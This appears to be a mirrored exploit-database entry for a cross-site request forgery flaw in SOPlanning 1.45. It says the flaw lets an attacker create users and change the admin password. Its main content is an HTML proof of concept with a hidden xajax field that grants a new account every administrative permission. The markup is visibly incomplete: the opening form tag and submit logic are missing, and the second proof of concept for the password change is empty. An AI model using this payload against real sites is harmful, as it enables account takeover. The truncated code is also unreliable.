发布 2020-02-17 漏洞条目

SOPlanning 1.45 – Cross-Site Request Forgery (Add User)

Exploit Source

# Exploit Title: SOPlanning 1.45 - Cross-Site Request Forgery (Add User)

# Date: 2020-02-14

# Exploit Author: J3rryBl4nks

# Vendor Homepage: https://www.soplanning.org/en/

# Software Link: https://sourceforge.net/projects/soplanning/files/soplanning/

# Version 1.45

# Tested on Windows 10/Kali Rolling

# The SoPlanning 1.45 application is vulnerable to CSRF that allows for arbitrary

# user creation and for changing passwords (Specifically the admin password)

# POC For aribtrary user creation:

# CSRF POC:

<html>

<body>

<input type="hidden" name="xajaxargs[]" value="<xjxobj><e><k>0</k><v>users_manage_all</v></e><e><k>1</k><v>projects_manage_all</v></e><e><k>2</k><v>projectgroups_manage_all</v></e><e><k>3</k><v>tasks_modify_all</v></e><e><k>4</k><v>tasks_view_all_projects</v></e><e><k>5</k><v>tasks_view_all_users</v></e><e><k>6</k><v>lieux_all</v></e><e><k>7</k><v>ressources_all</v></e><e><k>8</k><v>audit_restore</v></e><e><k>9</k><v>parameters_all</v></e><e><k>10</k><v>stats_users</v></e><e><k>11</k><v>stats_projects</v></e></xjxobj>" />

</form>

</body>

</html>

# POC for admin password change:

# CSRF POC:

<html>

<body>

</form>

</body>

</html>

作者: J3rryBl4nks
日期: 2020-02-17
类别: webapps
平台: php

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection